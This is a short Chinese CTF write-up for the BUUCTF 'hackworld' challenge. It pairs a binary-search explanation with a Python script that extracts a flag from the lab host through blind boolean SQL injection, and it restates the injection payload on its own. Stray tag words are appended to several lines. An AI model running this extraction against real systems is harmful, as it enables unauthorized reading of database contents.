凉凉,数据结构没学好,二分法都忘了html
思路node
数据(data)为升序排序,要在data中寻找定值keypython
从中间的 data[mid]开始寻找sql
key大于data[mid] : 从data[mid+1]~data[end]
数据结构
key小于data[mid] : 从data[start]~data[mid-1]
post
key等于data[mid] : 结束
url
复现平台在BUUCTFspa
<img src="https://files-cdn.cnblogs.com/files/thenbz3/buuoj-hackworld.bmp" width="200" hegiht="100" />code
import time import requests url = 'http://e208fef8-d158-4ae3-b566-0b6f9bdd4915.node1.buuoj.cn/' flag = '' for i in range(50): #从33到126为可打印的字符 low = 33 height = 126 data = {'id':''} while low <= height : mid = (low + height) // 2 data['id'] = 'if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)'%(i,mid) html = requests.post(url,data).text time.sleep(1) if 'Hello' in html : low = mid + 1 else: #将小于和等于的状况一块儿考虑,因此在low~mid中间寻找 height = mid #出现low = height = mid,若不判断会进入死循环 if height == mid == low: break flag += chr(int(mid)) print(flag)
if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)
Sql 注入 要学的骚操做不少,一条一条积累吧,等一有时间就把sqli-lab刷了 hhhhcdn